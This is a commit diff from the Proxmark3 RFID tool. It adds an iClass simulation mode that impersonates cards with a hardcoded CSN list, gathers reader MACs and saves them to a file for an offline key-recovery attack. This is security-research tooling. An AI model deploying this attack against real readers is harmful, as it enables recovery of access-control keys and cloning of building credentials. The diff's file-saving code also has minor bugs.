static int timeout = 4096;
-// CARD TO READER
-// Sequence D: 11110000 modulation with subcarrier during first half
-// Sequence E: 00001111 modulation with subcarrier during second half
-// Sequence F: 00000000 no modulation with subcarrier
-// READER TO CARD
-// Sequence X: 00001100 drop after half a period
-// Sequence Y: 00000000 no drop
-// Sequence Z: 11000000 drop at start
-#define SEC_X 0x0c
-#define SEC_Y 0x00
-#define SEC_Z 0xc0
static int SendIClassAnswer(uint8_t *resp, int respLen, int delay);
//-----------------------------------------------------------------------------
void RAMFUNC SnoopIClass(void)
{
-// DEFINED ABOVE
-// #define RECV_CMD_OFFSET 3032
-// #define RECV_RES_OFFSET 3096
-// #define DMA_BUFFER_OFFSET 3160
-// #define DMA_BUFFER_SIZE 4096
-// #define TRACE_SIZE 3000
+
// We won't start recording the frames that we acquire until we trigger;
// a good trigger condition to get started is probably when we see a
// The command (reader -> tag) that we're receiving.
// The length of a received command will in most cases be no more than 18 bytes.
// So 32 should be enough!
- uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET);
+ uint8_t *readerToTagCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET);
// The response (tag -> reader) that we're receiving.
- uint8_t *receivedResponse = (((uint8_t *)BigBuf) + RECV_RES_OFFSET);
+ uint8_t *tagToReaderResponse = (((uint8_t *)BigBuf) + RECV_RES_OFFSET);
- // As we receive stuff, we copy it from receivedCmd or receivedResponse
- // into trace, along with its length and other annotations.
- //uint8_t *trace = (uint8_t *)BigBuf;
-
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
// reset traceLen to 0
int samples = 0;
rsamples = 0;
- memset(trace, 0x44, RECV_CMD_OFFSET);
-
// Set up the demodulator for tag -> reader responses.
- Demod.output = receivedResponse;
+ Demod.output = tagToReaderResponse;
Demod.len = 0;
Demod.state = DEMOD_UNSYNCD;
// And the reader -> tag commands
memset(&Uart, 0, sizeof(Uart));
- Uart.output = receivedCmd;
+ Uart.output = readerToTagCmd;
Uart.byteCntMax = 32; // was 100 (greg)////////////////////////////////////////////////////////////////////////
Uart.state = STATE_UNSYNCD;
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_SNIFFER);
SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
+ uint32_t time_0 = GetCountSspClk();
+
+
int div = 0;
//int div2 = 0;
int decbyte = 0;
//samples += 4;
samples += 1;
- //div2++;
- //if(div2 > 3) {
- //div2 = 0;
- //decbyte ^= ((smpl & 0x01) << (3 - div));
- //decbyte ^= (((smpl & 0x01) | ((smpl & 0x02) >> 1)) << (3 - div)); // better already...
- //decbyte ^= (((smpl & 0x01) | ((smpl & 0x02) >> 1) | ((smpl & 0x04) >> 2)) << (3 - div)); // even better...
if(smpl & 0xF) {
decbyte ^= (1 << (3 - div));
}
- //decbyte ^= (MajorityNibble[(smpl & 0x0F)] << (3 - div));
// FOR READER SIDE COMMUMICATION...
- //decbyte ^= ((smpl & 0x10) << (3 - div));
+
decbyter <<= 2;
decbyter ^= (smpl & 0x30);
if(OutOfNDecoding((smpl & 0xF0) >> 4)) {
rsamples = samples - Uart.samples;
LED_C_ON();
- //if(triggered) {
- trace[traceLen++] = ((rsamples >> 0) & 0xff);
- trace[traceLen++] = ((rsamples >> 8) & 0xff);
- trace[traceLen++] = ((rsamples >> 16) & 0xff);
- trace[traceLen++] = ((rsamples >> 24) & 0xff);
- trace[traceLen++] = ((Uart.parityBits >> 0) & 0xff);
- trace[traceLen++] = ((Uart.parityBits >> 8) & 0xff);
- trace[traceLen++] = ((Uart.parityBits >> 16) & 0xff);
- trace[traceLen++] = ((Uart.parityBits >> 24) & 0xff);
- trace[traceLen++] = Uart.byteCnt;
- memcpy(trace+traceLen, receivedCmd, Uart.byteCnt);
- traceLen += Uart.byteCnt;
- if(traceLen > TRACE_SIZE) break;
- //}
- /* And ready to receive another command. */
+
+ //if(!LogTrace(Uart.output,Uart.byteCnt, rsamples, Uart.parityBits,TRUE)) break;
+ //if(!LogTrace(NULL, 0, Uart.endTime*16 - DELAY_READER_AIR2ARM_AS_SNIFFER, 0, TRUE)) break;
+ if(tracing)
+ {
+ LogTrace(Uart.output,Uart.byteCnt, (GetCountSspClk()-time_0) << 4, Uart.parityBits,TRUE);
+ LogTrace(NULL, 0, (GetCountSspClk()-time_0) << 4, 0, TRUE);
+ }
+
+
+ /* And ready to receive another command. */
Uart.state = STATE_UNSYNCD;
/* And also reset the demod code, which might have been */
/* false-triggered by the commands from the reader. */
rsamples = samples - Demod.samples;
LED_B_ON();
- // timestamp, as a count of samples
- trace[traceLen++] = ((rsamples >> 0) & 0xff);
- trace[traceLen++] = ((rsamples >> 8) & 0xff);
- trace[traceLen++] = ((rsamples >> 16) & 0xff);
- trace[traceLen++] = 0x80 | ((rsamples >> 24) & 0xff);
- trace[traceLen++] = ((Demod.parityBits >> 0) & 0xff);
- trace[traceLen++] = ((Demod.parityBits >> 8) & 0xff);
- trace[traceLen++] = ((Demod.parityBits >> 16) & 0xff);
- trace[traceLen++] = ((Demod.parityBits >> 24) & 0xff);
- // length
- trace[traceLen++] = Demod.len;
- memcpy(trace+traceLen, receivedResponse, Demod.len);
- traceLen += Demod.len;
- if(traceLen > TRACE_SIZE) break;
-
- //triggered = TRUE;
+ if(tracing)
+ {
+ LogTrace(Demod.output,Demod.len, (GetCountSspClk()-time_0) << 4 , Demod.parityBits,FALSE);
+ LogTrace(NULL, 0, (GetCountSspClk()-time_0) << 4, 0, FALSE);
+ }
+
// And ready to receive another response.
memset(&Demod, 0, sizeof(Demod));
- Demod.output = receivedResponse;
+ Demod.output = tagToReaderResponse;
Demod.state = DEMOD_UNSYNCD;
LED_C_OFF();
}
//-----------------------------------------------------------------------------
static void CodeIClassTagAnswer(const uint8_t *cmd, int len)
{
+ //So far a dummy implementation, not used
+ //int lastProxToAirDuration =0;
int i;
ToSendReset();
ToSend[++ToSendMax] = 0x00;
ToSend[++ToSendMax] = 0x00;
ToSend[++ToSendMax] = 0x00;
- ToSend[++ToSendMax] = 0xff;
+ ToSend[++ToSendMax] = 0xff;//Proxtoair duration starts here
ToSend[++ToSendMax] = 0xff;
ToSend[++ToSendMax] = 0xff;
ToSend[++ToSendMax] = 0x00;
ToSend[++ToSendMax] = 0x00;
ToSend[++ToSendMax] = 0xff;
ToSend[++ToSendMax] = 0xff;
- ToSend[++ToSendMax] = 0xff;
+ ToSend[++ToSendMax] = 0xff;
ToSend[++ToSendMax] = 0x00;
ToSend[++ToSendMax] = 0x00;
ToSend[++ToSendMax] = 0x00;
+ //lastProxToAirDuration = 8*ToSendMax - 3*8 - 3*8;//Not counting zeroes in the beginning or end
+
// Convert from last byte pos to length
ToSendMax++;
}
// Only SOF
static void CodeIClassTagSOF()
{
- ToSendReset();
+ //So far a dummy implementation, not used
+ //int lastProxToAirDuration =0;
+ ToSendReset();
// Send SOF
ToSend[++ToSendMax] = 0x00;
ToSend[++ToSendMax] = 0x00;
ToSend[++ToSendMax] = 0xff;
ToSend[++ToSendMax] = 0x00;
ToSend[++ToSendMax] = 0xff;
+
+// lastProxToAirDuration = 8*ToSendMax - 3*8;//Not counting zeroes in the beginning
+
// Convert from last byte pos to length
ToSendMax++;
}
-
-//-----------------------------------------------------------------------------
-// Simulate iClass Card
-// Only CSN (Card Serial Number)
-//
-//-----------------------------------------------------------------------------
-void SimulateIClass(uint8_t arg0, uint8_t *datain)
+int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived, uint8_t *reader_mac_buf);
+/**
+ * @brief SimulateIClass simulates an iClass card.
+ * @param arg0 type of simulation
+ * - 0 uses the first 8 bytes in usb data as CSN
+ * - 2 "dismantling iclass"-attack. This mode iterates through all CSN's specified
+ * in the usb data. This mode collects MAC from the reader, in order to do an offline
+ * attack on the keys. For more info, see "dismantling iclass" and proxclone.com.
+ * - Other : Uses the default CSN (031fec8af7ff12e0)
+ * @param arg1 - number of CSN's contained in datain (applicable for mode 2 only)
+ * @param arg2
+ * @param datain
+ */
+void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain)
{
- uint8_t simType = arg0;
-
+ uint32_t simType = arg0;
+ uint32_t numberOfCSNS = arg1;
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
- // Enable and clear the trace
- tracing = TRUE;
- traceLen = 0;
- memset(trace, 0x44, TRACE_SIZE);
+ // Enable and clear the trace
+ iso14a_set_tracing(TRUE);
+ iso14a_clear_trace();
+
+ uint8_t csn_crc[] = { 0x03, 0x1f, 0xec, 0x8a, 0xf7, 0xff, 0x12, 0xe0, 0x00, 0x00 };
+ if(simType == 0) {
+ // Use the CSN from commandline
+ memcpy(csn_crc, datain, 8);
+ doIClassSimulation(csn_crc,0,NULL);
+ }else if(simType == 1)
+ {
+ doIClassSimulation(csn_crc,0,NULL);
+ }
+ else if(simType == 2)
+ {
+
+ uint8_t mac_responses[64] = { 0 };
+ Dbprintf("Going into attack mode");
+ // In this mode, a number of csns are within datain. We'll simulate each one, one at a time
+ // in order to collect MAC's from the reader. This can later be used in an offlne-attack
+ // in order to obtain the keys, as in the "dismantling iclass"-paper.
+ int i = 0;
+ for( ; i < numberOfCSNS && i*8+8 < USB_CMD_DATA_SIZE; i++)
+ {
+ // The usb data is 512 bytes, fitting 65 8-byte CSNs in there.
+
+ memcpy(csn_crc, datain+(i*8), 8);
+ if(doIClassSimulation(csn_crc,1,mac_responses))
+ {
+ return; // Button pressed
+ }
+ }
+ cmd_send(CMD_ACK,CMD_SIMULATE_TAG_ICLASS,i,0,mac_responses,i*8);
+
+ }
+ else{
+ // We may want a mode here where we hardcode the csns to use (from proxclone).
+ // That will speed things up a little, but not required just yet.
+ Dbprintf("The mode is not implemented, reserved for future use");
+ }
+ Dbprintf("Done...");
+
+}
+/**
+ * @brief Does the actual simulation
+ * @param csn - csn to use
+ * @param breakAfterMacReceived if true, returns after reader MAC has been received.
+ */
+int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived, uint8_t *reader_mac_buf)
+{
+
// CSN followed by two CRC bytes
uint8_t response2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
- uint8_t response3[] = { 0x03, 0x1f, 0xec, 0x8a, 0xf7, 0xff, 0x12, 0xe0, 0x00, 0x00 };
-
+ uint8_t response3[] = { 0,0,0,0,0,0,0,0,0,0};
+ memcpy(response3,csn,sizeof(response3));
+ Dbprintf("Simulating CSN %02x%02x%02x%02x%02x%02x%02x%02x",csn[0],csn[1],csn[2],csn[3],csn[4],csn[5],csn[6],csn[7]);
// e-Purse
uint8_t response4[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
- if(simType == 0) {
- // Use the CSN from commandline
- memcpy(response3, datain, 8);
- }
-
// Construct anticollision-CSN
rotateCSN(response3,response2);
ComputeCrc14443(CRC_ICLASS, response2, 8, &response2[8], &response2[9]);
ComputeCrc14443(CRC_ICLASS, response3, 8, &response3[8], &response3[9]);
+ int exitLoop = 0;
// Reader 0a
// Tag 0f
// Reader 0c
int resp4Len;
// + 1720..
- uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET);
+ uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET);
memset(receivedCmd, 0x44, RECV_CMD_SIZE);
int len;
// Start from off (no field generated)
- FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
- SpinDelay(200);
-
-
+ //FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+ //SpinDelay(200);
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN);
+ SpinDelay(100);
+ StartCountSspClk();
// We need to listen to the high-frequency, peak-detected path.
SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
FpgaSetupSsc();
// To control where we are in the protocol
int cmdsRecvd = 0;
+ uint32_t time_0 = GetCountSspClk();
+ uint32_t t2r_time =0;
+ uint32_t r2t_time =0;
LED_A_ON();
- for(;;) {
+ bool buttonPressed = false;
+
+ /** Hack for testing
+ memcpy(reader_mac_buf,csn,8);
+ exitLoop = true;
+ end hack **/
+
+ while(!exitLoop) {
+
LED_B_OFF();
//Signal tracer
// Can be used to get a trigger for an oscilloscope..
LED_C_OFF();
if(!GetIClassCommandFromReader(receivedCmd, &len, 100)) {
- DbpString("button press");
+ buttonPressed = true;
break;
}
+ r2t_time = GetCountSspClk();
//Signal tracer
LED_C_ON();
-
// Okay, look at the command now.
- if(receivedCmd[0] == 0x0a) {
+ if(receivedCmd[0] == 0x0a ) {
// Reader in anticollission phase
resp = resp1; respLen = resp1Len; //order = 1;
respdata = &sof;
respsize = sizeof(sof);
- //resp = resp2; respLen = resp2Len; order = 2;
- //DbpString("Hello request from reader:");
} else if(receivedCmd[0] == 0x0c) {
// Reader asks for anticollission CSN
resp = resp2; respLen = resp2Len; //order = 2;
LED_B_ON();
} else if(receivedCmd[0] == 0x05) {
// Reader random and reader MAC!!!
- // Lets store this ;-)
-/*
- Dbprintf(" CSN: %02x %02x %02x %02x %02x %02x %02x %02x",
- response3[0], response3[1], response3[2],
- response3[3], response3[4], response3[5],
- response3[6], response3[7]);
-*/
- Dbprintf("READER AUTH (len=%02d): %02x %02x %02x %02x %02x %02x %02x %02x %02x",
- len,
- receivedCmd[0], receivedCmd[1], receivedCmd[2],
- receivedCmd[3], receivedCmd[4], receivedCmd[5],
- receivedCmd[6], receivedCmd[7], receivedCmd[8]);
-
// Do not respond
// We do not know what to answer, so lets keep quit
resp = resp1; respLen = 0; //order = 5;
respdata = NULL;
respsize = 0;
+ if (breakAfterMacReceived){
+ // TODO, actually return this to the caller instead of just
+ // dbprintf:ing ...
+ Dbprintf("CSN: %02x %02x %02x %02x %02x %02x %02x %02x",csn[0],csn[1],csn[2],csn[3],csn[4],csn[5],csn[6],csn[7]);
+ Dbprintf("RDR: (len=%02d): %02x %02x %02x %02x %02x %02x %02x %02x %02x",len,
+ receivedCmd[0], receivedCmd[1], receivedCmd[2],
+ receivedCmd[3], receivedCmd[4], receivedCmd[5],
+ receivedCmd[6], receivedCmd[7], receivedCmd[8]);
+ if (reader_mac_buf != NULL)
+ {
+ memcpy(reader_mac_buf,receivedCmd+1,8);
+ }
+ exitLoop = true;
+ }
} else if(receivedCmd[0] == 0x00 && len == 1) {
// Reader ends the session
resp = resp1; respLen = 0; //order = 0;
respdata = NULL;
respsize = 0;
} else {
+ //#db# Unknown command received from reader (len=5): 26 1 0 f6 a 44 44 44 44
// Never seen this command before
Dbprintf("Unknown command received from reader (len=%d): %x %x %x %x %x %x %x %x %x",
len,
respsize = 0;
}
- if(cmdsRecvd > 999) {
- DbpString("1000 commands later...");
- break;
+ if(cmdsRecvd > 100) {
+ //DbpString("100 commands later...");
+ //break;
}
else {
cmdsRecvd++;
if(respLen > 0) {
SendIClassAnswer(resp, respLen, 21);
+ t2r_time = GetCountSspClk();
}
-
+
if (tracing) {
- LogTrace(receivedCmd,len, rsamples, Uart.parityBits, TRUE);
+ LogTrace(receivedCmd,len, (r2t_time-time_0)<< 4, Uart.parityBits,TRUE);
+ LogTrace(NULL,0, (r2t_time-time_0) << 4, 0,TRUE);
+
if (respdata != NULL) {
- LogTrace(respdata,respsize, rsamples, SwapBits(GetParity(respdata,respsize),respsize), FALSE);
+ LogTrace(respdata,respsize, (t2r_time-time_0) << 4,SwapBits(GetParity(respdata,respsize),respsize),FALSE);
+ LogTrace(NULL,0, (t2r_time-time_0) << 4,0,FALSE);
+
+
}
- if(traceLen > TRACE_SIZE) {
+ if(!tracing) {
DbpString("Trace full");
- break;
+ //break;
}
- }
+ }
memset(receivedCmd, 0x44, RECV_CMD_SIZE);
}
- Dbprintf("%x", cmdsRecvd);
+ //Dbprintf("%x", cmdsRecvd);
LED_A_OFF();
LED_B_OFF();
+ if(buttonPressed)
+ {
+ DbpString("Button pressed");
+ }
+ return buttonPressed;
}
static int SendIClassAnswer(uint8_t *resp, int respLen, int delay)
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
// Reset trace buffer
- memset(trace, 0x44, RECV_CMD_OFFSET);
+ memset(trace, 0x44, RECV_CMD_OFFSET);
traceLen = 0;
// Setup SSC
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
+#include <sys/stat.h>
#include "iso14443crc.h" // Can also be used for iClass, using 0xE012 as CRC-type
#include "data.h"
//#include "proxusb.h"
#include "cmdhficlass.h"
#include "common.h"
#include "util.h"
+#include "cmdmain.h"
static int CmdHelp(const char *Cmd);
+int xorbits_8(uint8_t val)
+{
+ uint8_t res = val ^ (val >> 1); //1st pass
+ res = res ^ (res >> 1); // 2nd pass
+ res = res ^ (res >> 2); // 3rd pass
+ res = res ^ (res >> 4); // 4th pass
+ return res & 1;
+}
+
int CmdHFiClassList(const char *Cmd)
+{
+
+ bool ShowWaitCycles = false;
+ char param = param_getchar(Cmd, 0);
+
+ if (param != 0) {
+ PrintAndLog("List data in trace buffer.");
+ PrintAndLog("Usage: hf iclass list");
+ PrintAndLog("h - help");
+ PrintAndLog("sample: hf iclass list");
+ return 0;
+ }
+
+ uint8_t got[1920];
+ GetFromBigBuf(got,sizeof(got),0);
+ WaitForResponse(CMD_ACK,NULL);
+
+ PrintAndLog("Recorded Activity");
+ PrintAndLog("");
+ PrintAndLog("Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer");
+ PrintAndLog("All times are in carrier periods (1/13.56Mhz)");
+ PrintAndLog("");
+ PrintAndLog(" Start | End | Src | Data");
+ PrintAndLog("-----------|-----------|-----|--------");
+
+ int i;
+ uint32_t first_timestamp = 0;
+ uint32_t timestamp;
+ bool tagToReader;
+ uint32_t parityBits;
+ uint8_t len;
+ uint8_t *frame;
+ uint32_t EndOfTransmissionTimestamp = 0;
+
+
+ for( i=0; i < 1900;)
+ {
+ //First 32 bits contain
+ // isResponse (1 bit)
+ // timestamp (remaining)
+ //Then paritybits
+ //Then length
+ timestamp = *((uint32_t *)(got+i));
+ parityBits = *((uint32_t *)(got+i+4));
+ len = got[i+8];
+ frame = (got+i+9);
+ uint32_t next_timestamp = (*((uint32_t *)(got+i+9))) & 0x7fffffff;
+
+ tagToReader = timestamp & 0x80000000;
+ timestamp &= 0x7fffffff;
+
+ if(i==0) {
+ first_timestamp = timestamp;
+ }
+
+ // Break and stick with current result if buffer was not completely full
+ if (frame[0] == 0x44 && frame[1] == 0x44 && frame[2] == 0x44 && frame[3] == 0x44) break;
+
+ char line[1000] = "";
+
+ if(len)//We have some data to display
+ {
+ int j,oddparity;
+
+ for(j = 0; j < len ; j++)
+ {
+ oddparity = 0x01 ^ xorbits_8(frame[j] & 0xFF);
+
+ if (tagToReader && (oddparity != ((parityBits >> (len - j - 1)) & 0x01))) {
+ sprintf(line+(j*4), "%02x! ", frame[j]);
+ } else {
+ sprintf(line+(j*4), "%02x ", frame[j]);
+ }
+ }
+ }else
+ {
+ if (ShowWaitCycles) {
+ sprintf(line, "fdt (Frame Delay Time): %d", (next_timestamp - timestamp));
+ }
+ }
+
+ char *crc = "";
+
+ if(len > 2)
+ {
+ uint8_t b1, b2;
+ if(!tagToReader && len == 4) {
+ // Rough guess that this is a command from the reader
+ // For iClass the command byte is not part of the CRC
+ ComputeCrc14443(CRC_ICLASS, &frame[1], len-3, &b1, &b2);
+ }
+ else {
+ // For other data.. CRC might not be applicable (UPDATE commands etc.)
+ ComputeCrc14443(CRC_ICLASS, frame, len-2, &b1, &b2);
+ }
+
+ if (b1 != frame[len-2] || b2 != frame[len-1]) {
+ crc = (tagToReader & (len < 8)) ? "" : " !crc";
+ }
+ }
+
+ i += (len + 9);
+ EndOfTransmissionTimestamp = (*((uint32_t *)(got+i))) & 0x7fffffff;
+
+ // Not implemented for iclass on the ARM-side
+ //if (!ShowWaitCycles) i += 9;
+
+ PrintAndLog(" %9d | %9d | %s | %s %s",
+ (timestamp - first_timestamp),
+ (EndOfTransmissionTimestamp - first_timestamp),
+ (len?(tagToReader ? "Tag" : "Rdr"):" "),
+ line, crc);
+ }
+ return 0;
+}
+
+int CmdHFiClassListOld(const char *Cmd)
{
uint8_t got[1920];
GetFromBigBuf(got,sizeof(got),0);
isResponse = 0;
}
+
int metric = 0;
+
int parityBits = *((uint32_t *)(got+i+4));
// 4 bytes of additional information...
// maximum of 32 additional parity bit information
uint8_t simType = 0;
uint8_t CSN[8] = {0, 0, 0, 0, 0, 0, 0, 0};
- if (strlen(Cmd)<2) {
- PrintAndLog("Usage: hf iclass sim <sim type> <CSN (16 hex symbols)>");
+ if (strlen(Cmd)<1) {
+ PrintAndLog("Usage: hf iclass sim [0 <CSN>] | x");
+ PrintAndLog(" options");
+ PrintAndLog(" 0 <CSN> simulate the given CSN");
+ PrintAndLog(" 1 simulate default CSN");
+ PrintAndLog(" 2 iterate CSNs, gather MACs");
PrintAndLog(" sample: hf iclass sim 0 031FEC8AF7FF12E0");
+ PrintAndLog(" sample: hf iclass sim 2");
return 0;
}
simType = param_get8(Cmd, 0);
- if (param_gethex(Cmd, 1, CSN, 16)) {
- PrintAndLog("A CSN should consist of 16 HEX symbols");
- return 1;
- }
- PrintAndLog("--simtype:%02x csn:%s", simType, sprint_hex(CSN, 8));
- UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType}};
- memcpy(c.d.asBytes, CSN, 8);
- SendCommand(&c);
-
- /*UsbCommand * resp = WaitForResponseTimeout(CMD_ACK, 1500);
- if (resp != NULL) {
- uint8_t isOK = resp->arg[0] & 0xff;
- PrintAndLog("isOk:%02x", isOK);
- } else {
- PrintAndLog("Command execute timeout");
- }*/
+ if(simType == 0)
+ {
+ if (param_gethex(Cmd, 1, CSN, 16)) {
+ PrintAndLog("A CSN should consist of 16 HEX symbols");
+ return 1;
+ }
+ PrintAndLog("--simtype:%02x csn:%s", simType, sprint_hex(CSN, 8));
+ }
+ if(simType > 2)
+ {
+ PrintAndLog("Undefined simptype %d", simType);
+ return 1;
+ }
+ uint8_t numberOfCSNs=0;
+
+ if(simType == 2)
+ {
+ UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,63}};
+ UsbCommand resp = {0};
+
+ uint8_t csns[64] = {
+ 0x00,0x0B,0x0F,0xFF,0xF7,0xFF,0x12,0xE0 ,
+ 0x00,0x13,0x94,0x7e,0x76,0xff,0x12,0xe0 ,
+ 0x2a,0x99,0xac,0x79,0xec,0xff,0x12,0xe0 ,
+ 0x17,0x12,0x01,0xfd,0xf7,0xff,0x12,0xe0 ,
+ 0xcd,0x56,0x01,0x7c,0x6f,0xff,0x12,0xe0 ,
+ 0x4b,0x5e,0x0b,0x72,0xef,0xff,0x12,0xe0 ,
+ 0x00,0x73,0xd8,0x75,0x58,0xff,0x12,0xe0 ,
+ 0x0c,0x90,0x32,0xf3,0x5d,0xff,0x12,0xe0 };
+
+ memcpy(c.d.asBytes, csns, 64);
+
+ SendCommand(&c);
+ if (!WaitForResponseTimeout(CMD_ACK, &resp, -1)) {
+ PrintAndLog("Command timed out");
+ return 0;
+ }
+
+ uint8_t num_mac_responses = resp.arg[1];
+ PrintAndLog("Mac responses: %d MACs obtained (should be 8)", num_mac_responses);
+
+ size_t datalen = 8*24;
+ /*
+ * Now, time to dump to file. We'll use this format:
+ * <8-byte CSN><8-byte CC><4 byte NR><4 byte MAC>....
+ * So, it should wind up as
+ * 8 * 24 bytes.
+ *
+ * The returndata from the pm3 is on the following format
+ * <4 byte NR><4 byte MAC>
+ * CC are all zeroes, CSN is the same as was sent in
+ **/
+ void* dump = malloc(datalen);
+ memset(dump,0,datalen);//<-- Need zeroes for the CC-field
+ uint8_t i = 0;
+ for(i = 0 ; i < 8 ; i++)
+ {
+ memcpy(dump+i*24, csns+i*8,8); //CSN
+ //8 zero bytes here...
+ //Then comes NR_MAC (eight bytes from the response)
+ memcpy(dump+i*24+16,resp.d.asBytes+i*8,8);
+
+ }
+ /** Now, save to dumpfile **/
+ saveFile("iclass_mac_attack", "bin", dump,datalen);
+ free(dump);
+ }else
+ {
+ UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,numberOfCSNs}};
+ memcpy(c.d.asBytes, CSN, 8);
+ SendCommand(&c);
+ }
return 0;
}
CmdsHelp(CommandTable);
return 0;
}
+
+/**
+ * @brief checks if a file exists
+ * @param filename
+ * @return
+ */
+int fileExists(const char *filename) {
+ struct stat st;
+ int result = stat(filename, &st);
+ return result == 0;
+}
+/**
+ * @brief Utility function to save data to a file. This method takes a preferred name, but if that
+ * file already exists, it tries with another name until it finds something suitable.
+ * E.g. dumpdata-15.txt
+ * @param preferredName
+ * @param suffix the file suffix. Leave out the ".".
+ * @param data The binary data to write to the file
+ * @param datalen the length of the data
+ * @return 0 for ok, 1 for failz
+ */
+int saveFile(const char *preferredName, const char *suffix, const void* data, size_t datalen)
+{
+ FILE *f = fopen(preferredName, "wb");
+ int size = sizeof(char) * (strlen(preferredName)+strlen(suffix)+5);
+ char * fileName = malloc(size);
+
+ memset(fileName,0,size);
+ int num = 1;
+ sprintf(fileName,"%s.%s", preferredName, suffix);
+ while(fileExists(fileName))
+ {
+ sprintf(fileName,"%s-%d.%s", preferredName, num, suffix);
+ num++;
+ }
+ /* We should have a valid filename now, e.g. dumpdata-3.bin */
+
+ /*Opening file for writing in binary mode*/
+ FILE *fileHandle=fopen(fileName,"wb");
+ if(!f) {
+ PrintAndLog("Failed to write to file '%s'", fileName);
+ return 0;
+ }
+ fwrite(data, 1, datalen, fileHandle);
+ fclose(fileHandle);
+ PrintAndLog("Saved data to '%s'", fileName);
+
+ free(fileName);
+ return 0;
+}
projects / proxmark3-svn / commitdiff